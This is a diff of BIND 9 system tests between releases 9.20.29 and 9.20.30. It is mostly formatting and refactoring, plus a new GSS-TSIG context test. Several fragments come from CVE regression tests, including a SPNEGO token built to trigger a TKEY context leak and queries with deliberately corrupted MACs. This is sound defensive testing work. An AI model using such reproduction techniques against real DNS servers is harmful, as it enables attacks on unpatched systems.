work for additional diff -Nru bind9-9.20.29/bin/tests/system/statschannel/tests_xml.py bind9-9.20.30/bin/tests/system/statschannel/tests_xml.py --- bind9-9.20.29/bin/tests/system/statschannel/tests_xml.py 2026-09-11 19:41:01.374327956 +0000 +++ bind9-9.20.30/bin/tests/system/statschannel/tests_xml.py 2026-10-12 13:12:08.285897303 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/stress/tests_stress_update.py bind9-9.20.30/bin/tests/system/stress/tests_stress_update.py --- bind9-9.20.29/bin/tests/system/stress/tests_stress_update.py 2026-09-11 19:41:01.376328004 +0000 +++ bind9-9.20.30/bin/tests/system/stress/tests_stress_update.py 2026-10-12 13:12:08.286897324 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/stub/tests_stub.py bind9-9.20.30/bin/tests/system/stub/tests_stub.py --- bind9-9.20.29/bin/tests/system/stub/tests_stub.py 2026-09-11 19:41:01.377328028 +0000 +++ bind9-9.20.30/bin/tests/system/stub/tests_stub.py 2026-10-12 13:12:08.287897346 +0000 @@ -3,13 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. - import os import dns.rrset diff -Nru bind9-9.20.29/bin/tests/system/synthfromdnssec/tests_sh_synthfromdnssec.py bind9-9.20.30/bin/tests/system/synthfromdnssec/tests_sh_synthfromdnssec.py --- bind9-9.20.29/bin/tests/system/synthfromdnssec/tests_sh_synthfromdnssec.py 2026-09-11 19:41:01.379328076 +0000 +++ bind9-9.20.30/bin/tests/system/synthfromdnssec/tests_sh_synthfromdnssec.py 2026-10-12 13:12:08.290897410 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/tcp/tests_tcp.py bind9-9.20.30/bin/tests/system/tcp/tests_tcp.py --- bind9-9.20.29/bin/tests/system/tcp/tests_tcp.py 2026-09-11 19:41:01.381328124 +0000 +++ bind9-9.20.30/bin/tests/system/tcp/tests_tcp.py 2026-10-12 13:12:08.291897431 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -372,7 +370,8 @@ def wait_for_stable_tcp_requests(ns: NamedInstance, timeout: int = 10) -> int: - """Read the TCP request counter until it stops changing. + """ + Read the TCP request counter until it stops changing. The counter is incremented on request receipt, so a client response implies its upstream queries are already counted; this only needs to @@ -481,7 +480,9 @@ @contextlib.contextmanager def temporary_trace_level(ns: NamedInstance, level: int) -> Iterator[None]: - """Lower the debug level for a noisy section, then restore the default.""" + """ + Lower the debug level for a noisy section, then restore the default. + """ prev_level = debug_level(ns) ns.rndc(f"trace {level}") try: diff -Nru bind9-9.20.29/bin/tests/system/testsock.pl bind9-9.20.30/bin/tests/system/testsock.pl --- bind9-9.20.29/bin/tests/system/testsock.pl 2026-09-11 19:41:01.381328124 +0000 +++ bind9-9.20.30/bin/tests/system/testsock.pl 1970-01-01 00:00:00.000000000 +0000 @@ -1,55 +0,0 @@ -#!/usr/bin/perl - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -# Test whether the interfaces on 10.53.0.* are up. - -require 5.001; - -use Cwd 'abs_path'; -use File::Basename; -use Socket; -use Getopt::Long; - -my $port = 0; -my $id = 0; -GetOptions("p=i" => \$port, - "i=i" => \$id); - -my @ids; -if ($id != 0) { - @ids = ($id); -} else { - my $dir = dirname(abs_path($0)); - my $fn = "$dir/ifconfig.sh.in"; - open FH, "< $fn" or die "open < $fn: $!\n"; - while () { - @ids = (1..$1) - if /^max=(\d+)\s*$/; - } - close FH; - die "could not find max IP address in $fn\n" - unless @ids > 1; -} - -foreach $id (@ids) { - my $addr = pack("C4", 10, 53, 0, $id); - my $sa = pack_sockaddr_in($port, $addr); - socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname("tcp")) - or die "$0: socket: $!\n"; - setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)); - - bind(SOCK, $sa) - or die sprintf("$0: bind(%s, %d): $!\n", - inet_ntoa($addr), $port); - close(SOCK); -} diff -Nru bind9-9.20.29/bin/tests/system/testsock6.pl bind9-9.20.30/bin/tests/system/testsock6.pl --- bind9-9.20.29/bin/tests/system/testsock6.pl 2026-09-11 19:41:01.381328124 +0000 +++ bind9-9.20.30/bin/tests/system/testsock6.pl 1970-01-01 00:00:00.000000000 +0000 @@ -1,26 +0,0 @@ -#!/usr/bin/perl - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -require 5.001; - -use IO::Socket::IP; - -foreach $addr (@ARGV) { - my $sock; - $sock = IO::Socket::IP->new(LocalAddr => $addr, - Domain => PF_INET6, - LocalPort => 0, - Proto => tcp) - or die "Can't bind : $@\n"; - close($sock); -} diff -Nru bind9-9.20.29/bin/tests/system/timeouts/tests_tcp_timeouts.py bind9-9.20.30/bin/tests/system/timeouts/tests_tcp_timeouts.py --- bind9-9.20.29/bin/tests/system/timeouts/tests_tcp_timeouts.py 2026-09-11 19:41:01.382328147 +0000 +++ bind9-9.20.30/bin/tests/system/timeouts/tests_tcp_timeouts.py 2026-10-12 13:12:08.292897453 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/tkey/tests_cve_2026_3119.py bind9-9.20.30/bin/tests/system/tkey/tests_cve_2026_3119.py --- bind9-9.20.29/bin/tests/system/tkey/tests_cve_2026_3119.py 2026-09-11 19:41:01.382328147 +0000 +++ bind9-9.20.30/bin/tests/system/tkey/tests_cve_2026_3119.py 2026-10-12 13:12:08.292897453 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -21,12 +19,9 @@ import dns.rdtypes.ANY.TKEY import dns.rrset import dns.tsigkeyring -import pytest import isctest -pytestmark = pytest.mark.extra_artifacts([]) - def create_tkey_msg(qname, mode, alg="hmac-sha256"): msg = dns.message.make_query(qname, "TKEY") diff -Nru bind9-9.20.29/bin/tests/system/tkey/tests_no_options.py bind9-9.20.30/bin/tests/system/tkey/tests_no_options.py --- bind9-9.20.29/bin/tests/system/tkey/tests_no_options.py 2026-09-11 19:41:01.382328147 +0000 +++ bind9-9.20.30/bin/tests/system/tkey/tests_no_options.py 2026-10-12 13:12:08.292897453 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -56,7 +54,9 @@ def test_tkey_query_without_options(): - """A TKEY query must not crash named when global options are omitted.""" + """ + A TKEY query must not crash named when global options are omitted. + """ port = int(os.environ["EXTRAPORT1"]) named_cmdline = isctest.run.get_named_cmdline("nooptions") named_cmdline.extend(["-p", str(port), "-T", "maxcachesize=2097152"]) diff -Nru bind9-9.20.29/bin/tests/system/tkeyleak/tests_tkeyleak.py bind9-9.20.30/bin/tests/system/tkeyleak/tests_tkeyleak.py --- bind9-9.20.29/bin/tests/system/tkeyleak/tests_tkeyleak.py 2026-09-11 19:41:01.383328172 +0000 +++ bind9-9.20.30/bin/tests/system/tkeyleak/tests_tkeyleak.py 2026-10-12 13:12:08.293897474 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -63,7 +63,9 @@ def der_encode(tag, data): - """Encode data in ASN.1 DER TLV format.""" + """ + Encode data in ASN.1 DER TLV format. + """ length = len(data) if length < 128: return tag + bytes([length]) + data @@ -73,7 +75,8 @@ def spnego_negtokeninit(): - """Build a SPNEGO NegTokenInit proposing krb5 without a mechToken. + """ + Build a SPNEGO NegTokenInit proposing krb5 without a mechToken. This forces gss_accept_sec_context() to return GSS_S_CONTINUE_NEEDED because the acceptor recognizes the krb5 mechanism but has not @@ -92,7 +95,9 @@ def make_tkey_query(token): - """Build a TKEY query with a GSS-API token in the additional section.""" + """ + Build a TKEY query with a GSS-API token in the additional section. + """ now = int(time.time()) tkey_rdata = dns.rdtypes.ANY.TKEY.TKEY( rdclass=dns.rdataclass.ANY, @@ -119,7 +124,8 @@ def test_tkey_gssapi_no_continuation(ns1): - """TKEY with a SPNEGO NegTokenInit must be rejected, not continued. + """ + TKEY with a SPNEGO NegTokenInit must be rejected, not continued. On unfixed code, gss_accept_sec_context() returns CONTINUE_NEEDED and the response has error=0 with an output token (the leaked path). @@ -143,7 +149,9 @@ def get_tkey_answer(response): - """Extract TKEY rdata from a DNS response, or None.""" + """ + Extract TKEY rdata from a DNS response, or None. + """ for rrset in response.answer: if rrset.rdtype == dns.rdatatype.TKEY: for rdata in rrset: diff -Nru bind9-9.20.29/bin/tests/system/tools/tests_sh_tools.py bind9-9.20.30/bin/tests/system/tools/tests_sh_tools.py --- bind9-9.20.29/bin/tests/system/tools/tests_sh_tools.py 2026-09-11 19:41:01.383328172 +0000 +++ bind9-9.20.30/bin/tests/system/tools/tests_sh_tools.py 2026-10-12 13:12:08.293897474 +0000 @@ -3,16 +3,12 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import pytest - -pytestmark = pytest.mark.extra_artifacts([]) - def test_tools(run_tests_sh): run_tests_sh() diff -Nru bind9-9.20.29/bin/tests/system/tools/tests_tools_nsec3hash.py bind9-9.20.30/bin/tests/system/tools/tests_tools_nsec3hash.py --- bind9-9.20.29/bin/tests/system/tools/tests_tools_nsec3hash.py 2026-09-11 19:41:01.383328172 +0000 +++ bind9-9.20.30/bin/tests/system/tools/tests_tools_nsec3hash.py 2026-10-12 13:12:08.293897474 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/transport_acl/tests_sh_transport_acl.py bind9-9.20.30/bin/tests/system/transport_acl/tests_sh_transport_acl.py --- bind9-9.20.29/bin/tests/system/transport_acl/tests_sh_transport_acl.py 2026-09-11 19:41:01.383328172 +0000 +++ bind9-9.20.30/bin/tests/system/transport_acl/tests_sh_transport_acl.py 2026-10-12 13:12:08.294897495 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/transport_change/tests_sh_transport_change.py bind9-9.20.30/bin/tests/system/transport_change/tests_sh_transport_change.py --- bind9-9.20.29/bin/tests/system/transport_change/tests_sh_transport_change.py 2026-09-11 19:41:01.385328219 +0000 +++ bind9-9.20.30/bin/tests/system/transport_change/tests_sh_transport_change.py 2026-10-12 13:12:08.295897517 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/tsig/ans2/ans.py bind9-9.20.30/bin/tests/system/tsig/ans2/ans.py --- bind9-9.20.29/bin/tests/system/tsig/ans2/ans.py 2026-09-11 19:41:01.385328219 +0000 +++ bind9-9.20.30/bin/tests/system/tsig/ans2/ans.py 2026-10-12 13:12:08.295897517 +0000 @@ -1,26 +1,20 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator import dns.flags -from isctest.asyncserver import ( - AsyncDnsServer, - BytesResponseSend, - QueryContext, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import BytesResponseSend class TruncatedWithLastByteDroppedHandler(ResponseHandler): @@ -40,7 +34,7 @@ def main() -> None: - server = AsyncDnsServer(keyring=None) + server = AsyncDnsServer(keyring=False) server.install_response_handler(TruncatedWithLastByteDroppedHandler()) server.run() diff -Nru bind9-9.20.29/bin/tests/system/tsig/tests_badtime.py bind9-9.20.30/bin/tests/system/tsig/tests_badtime.py --- bind9-9.20.29/bin/tests/system/tsig/tests_badtime.py 2026-09-11 19:41:01.387328267 +0000 +++ bind9-9.20.30/bin/tests/system/tsig/tests_badtime.py 2026-10-12 13:12:08.296897538 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -22,7 +20,6 @@ pytestmark = pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ns1/named-fips.conf", ] ) diff -Nru bind9-9.20.29/bin/tests/system/tsig/tests_sh_tsig.py bind9-9.20.30/bin/tests/system/tsig/tests_sh_tsig.py --- bind9-9.20.29/bin/tests/system/tsig/tests_sh_tsig.py 2026-09-11 19:41:01.387328267 +0000 +++ bind9-9.20.30/bin/tests/system/tsig/tests_sh_tsig.py 2026-10-12 13:12:08.296897538 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -16,7 +16,6 @@ "dig.out.*", "keygen.out*", "packet.out", - "ans*/ans.run", "ns1/named-fips.conf", ] ) diff -Nru bind9-9.20.29/bin/tests/system/tsig/tests_tsig_hypothesis.py bind9-9.20.30/bin/tests/system/tsig/tests_tsig_hypothesis.py --- bind9-9.20.29/bin/tests/system/tsig/tests_tsig_hypothesis.py 2026-09-11 19:41:01.387328267 +0000 +++ bind9-9.20.30/bin/tests/system/tsig/tests_tsig_hypothesis.py 2026-10-12 13:12:08.296897538 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -36,7 +34,6 @@ pytestmark = pytest.mark.extra_artifacts( [ - "ans*/ans.run", "ns1/named-fips.conf", ] ) diff -Nru bind9-9.20.29/bin/tests/system/tsiggss/tests.sh bind9-9.20.30/bin/tests/system/tsiggss/tests.sh --- bind9-9.20.29/bin/tests/system/tsiggss/tests.sh 2026-09-11 19:41:01.388328291 +0000 +++ bind9-9.20.30/bin/tests/system/tsiggss/tests.sh 2026-10-12 13:12:08.297897559 +0000 @@ -120,7 +120,7 @@ echo_i "testing external update policy (CNAME) with auth sock ($n)" ret=0 -($PERL "${TOP_SRCDIR}/bin/tests/system/authsock.pl" --type=CNAME --path=ns1/auth.sock --pidfile=authsock.pid --timeout=120 >/dev/null 2>&1 &) & +($PYTHON -m isctest.tools.authsock --type=CNAME --path=ns1/auth.sock --pidfile=authsock.pid --timeout=120 >/dev/null 2>&1 &) & sleep 1 test_update $n testcname.example.nil. CNAME "86400 CNAME testdenied.example.nil" "testdenied" || ret=1 n=$((n + 1)) diff -Nru bind9-9.20.29/bin/tests/system/tsiggss/tests_gss_context.py bind9-9.20.30/bin/tests/system/tsiggss/tests_gss_context.py --- bind9-9.20.29/bin/tests/system/tsiggss/tests_gss_context.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/tsiggss/tests_gss_context.py 2026-10-12 13:12:08.297897559 +0000 @@ -0,0 +1,179 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +Exercise shared GSS contexts during concurrent queries, view teardown and server +restart. +""" + +import concurrent.futures +import os +import socket +import struct +import time + +import dns.message +import dns.name +import dns.query +import dns.rcode +import dns.rdataclass +import dns.rdatatype +import dns.rdtypes.ANY.TKEY +import dns.rrset +import dns.tsig +import pytest + +import isctest.mark + +gssapi = pytest.importorskip("gssapi") +pytestmark = [ + isctest.mark.with_gssapi, + isctest.mark.with_fips_dh, + pytest.mark.extra_artifacts( + ["ns1/K*", "ns1/_default.tsigkeys", "ns1/example.nil.db"] + ), +] + + +def read_exact(sock, count): + data = bytearray() + while len(data) < count: + chunk = sock.recv(count - len(data)) + assert chunk + data.extend(chunk) + return bytes(data) + + +def establish(ns1, monkeypatch): + """ + Negotiate using the existing ticket cache, without contacting a KDC. + """ + monkeypatch.setenv("KRB5CCNAME", f"FILE:{os.getcwd()}/ns1/administrator.ccache") + context = gssapi.SecurityContext( + name=gssapi.Name( + "DNS/blu.example.nil@EXAMPLE.NIL", + name_type=gssapi.NameType.kerberos_principal, + ), + mech=gssapi.MechType.kerberos, + usage="initiate", + flags=[ + gssapi.RequirementFlag.mutual_authentication, + gssapi.RequirementFlag.replay_detection, + gssapi.RequirementFlag.integrity, + ], + ) + token = context.step() + name = dns.name.from_text(f"context-sharing-{time.time_ns()}.") + now = int(time.time()) + query = dns.message.make_query(name, "TKEY", "ANY") + tkey = dns.rdtypes.ANY.TKEY.TKEY( + dns.rdataclass.ANY, + dns.rdatatype.TKEY, + dns.tsig.GSS_TSIG, + now, + now + 3600, + 3, + 0, + token, + ) + query.additional.append(dns.rrset.from_rdata(name, 0, tkey)) + wire = query.to_wire() + with socket.create_connection((ns1.ip, ns1.ports.dns), timeout=5) as sock: + sock.sendall(struct.pack("!H", len(wire)) + wire) + size = struct.unpack("!H", read_exact(sock, 2))[0] + response_wire = read_exact(sock, size) + response = dns.message.from_wire(response_wire, keyring=False) + assert response.rcode() == dns.rcode.NOERROR + assert response.answer[0][0].error == 0 + context.step(response.answer[0][0].key) + assert context.complete + key = dns.tsig.Key(name, context, dns.tsig.GSS_TSIG) + keyring = {name: key} + dns.message.from_wire(response_wire, keyring=keyring) + return keyring + + +def signed_query(ns1, keyring): + query = dns.message.make_query("example.nil.", "SOA") + query.use_tsig(keyring, algorithm=dns.tsig.GSS_TSIG) + response = dns.query.tcp(query, ns1.ip, port=ns1.ports.dns, timeout=5) + assert response.rcode() == dns.rcode.NOERROR + assert response.had_tsig + + +def test_gss_context_survives_reload(ns1, monkeypatch): + keyring = establish(ns1, monkeypatch) + signed_query(ns1, keyring) + for _ in range(3): + ns1.reload() + # Old views release asynchronous references after reload returns. + # Keep querying through that interval with the original session. + for _ in range(10): + time.sleep(0.1) + signed_query(ns1, keyring) + + +@pytest.mark.parametrize("reload_during_queries", [False, True]) +def test_concurrent_gss_mic_operations(ns1, monkeypatch, reload_during_queries): + keyring = establish(ns1, monkeypatch) + + def exchange(packet): + wire, query, valid = packet + with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock: + sock.settimeout(10) + sock.sendto(wire, (ns1.ip, ns1.ports.dns)) + response_wire = sock.recv(65535) + return response_wire, query, valid + + with concurrent.futures.ThreadPoolExecutor(max_workers=32) as pool: + for batch in range(8): + # Limit outstanding sequence numbers to stay within the GSS + # replay window even when packets or replies are reordered. + packets = [] + for _ in range(16): + query = dns.message.make_query("example.nil.", "SOA") + query.use_tsig(keyring, algorithm=dns.tsig.GSS_TSIG) + wire = query.to_wire() + # Bad MICs exercise the provider's error state; good queries + # also make named sign replies using the same context. + bad_mac = query.mac[:-1] + bytes([query.mac[-1] ^ 1]) + assert wire.count(query.mac) == 1 + packets.append((wire.replace(query.mac, bad_mac, 1), query, False)) + packets.append((wire, query, True)) + + futures = [pool.submit(exchange, packet) for packet in packets] + if reload_during_queries and batch % 2 == 0: + ns1.reload() + for future in concurrent.futures.as_completed(futures): + wire, query, valid = future.result() + # All client GSS calls, including response verification, + # run on this thread. Workers only exchange raw packets. + response = dns.message.from_wire( + wire, keyring=keyring if valid else False, request_mac=query.mac + ) + assert response.id == query.id + assert response.had_tsig + if valid: + assert response.rcode() == dns.rcode.NOERROR + assert response.tsig[0].error == 0 + else: + assert response.rcode() == dns.rcode.NOTAUTH + assert response.tsig[0].error == dns.rcode.BADSIG + signed_query(ns1, keyring) + + +def test_gss_context_survives_restart(ns1, monkeypatch): + keyring = establish(ns1, monkeypatch) + signed_query(ns1, keyring) + ns1.stop(["--use-rndc", "--port", str(ns1.ports.rndc)]) + ns1.start(["--noclean", "--restart", "--port", str(ns1.ports.dns)]) + # The client keeps its original context: no new TKEY negotiation. + signed_query(ns1, keyring) diff -Nru bind9-9.20.29/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py bind9-9.20.30/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py --- bind9-9.20.29/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py 2026-09-11 19:41:01.388328291 +0000 +++ bind9-9.20.30/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py 2026-10-12 13:12:08.297897559 +0000 @@ -1,5 +1,3 @@ -#!/usr/bin/python -############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 @@ -10,7 +8,6 @@ # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -############################################################################ """ A tool for reproducing ISC SPNEGO vulnerabilities diff -Nru bind9-9.20.29/bin/tests/system/tsiggss/tests_sh_tsiggss.py bind9-9.20.30/bin/tests/system/tsiggss/tests_sh_tsiggss.py --- bind9-9.20.29/bin/tests/system/tsiggss/tests_sh_tsiggss.py 2026-09-11 19:41:01.388328291 +0000 +++ bind9-9.20.30/bin/tests/system/tsiggss/tests_sh_tsiggss.py 2026-10-12 13:12:08.297897559 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/ttl/tests_cache_ttl.py bind9-9.20.30/bin/tests/system/ttl/tests_cache_ttl.py --- bind9-9.20.29/bin/tests/system/ttl/tests_cache_ttl.py 2026-09-11 19:41:01.388328291 +0000 +++ bind9-9.20.30/bin/tests/system/ttl/tests_cache_ttl.py 2026-10-12 13:12:08.298897581 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/unknown/tests_sh_unknown.py bind9-9.20.30/bin/tests/system/unknown/tests_sh_unknown.py --- bind9-9.20.29/bin/tests/system/unknown/tests_sh_unknown.py 2026-09-11 19:41:01.391328363 +0000 +++ bind9-9.20.30/bin/tests/system/unknown/tests_sh_unknown.py 2026-10-12 13:12:08.301897645 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/update_query_acl/ns1/named.conf.j2 bind9-9.20.30/bin/tests/system/update_query_acl/ns1/named.conf.j2 --- bind9-9.20.29/bin/tests/system/update_query_acl/ns1/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/update_query_acl/ns1/named.conf.j2 2026-10-12 13:12:08.301897645 +0000 @@ -0,0 +1,32 @@ +// NS1 + +options { + {% include_indented "_common/options.conf.j2" %} + recursion no; + dnssec-validation no; +}; + +{% include "_common/controls.conf.j2" %} + +key "update.key" { + algorithm hmac-sha256; + secret "1234abcd8765"; +}; + +// Nobody may query these zones; only "update.key" may update them. +zone "inline" { + type primary; + file "zones/inline.db"; + inline-signing yes; + dnssec-policy default; + checkds no; + allow-query { none; }; + update-policy { grant update.key zonesub any; }; +}; + +zone "plain" { + type primary; + file "zones/plain.db"; + allow-query { none; }; + update-policy { grant update.key zonesub any; }; +}; diff -Nru bind9-9.20.29/bin/tests/system/update_query_acl/ns2/named.conf.j2 bind9-9.20.30/bin/tests/system/update_query_acl/ns2/named.conf.j2 --- bind9-9.20.29/bin/tests/system/update_query_acl/ns2/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/update_query_acl/ns2/named.conf.j2 2026-10-12 13:12:08.301897645 +0000 @@ -0,0 +1,36 @@ +// NS2 + +options { + {% include_indented 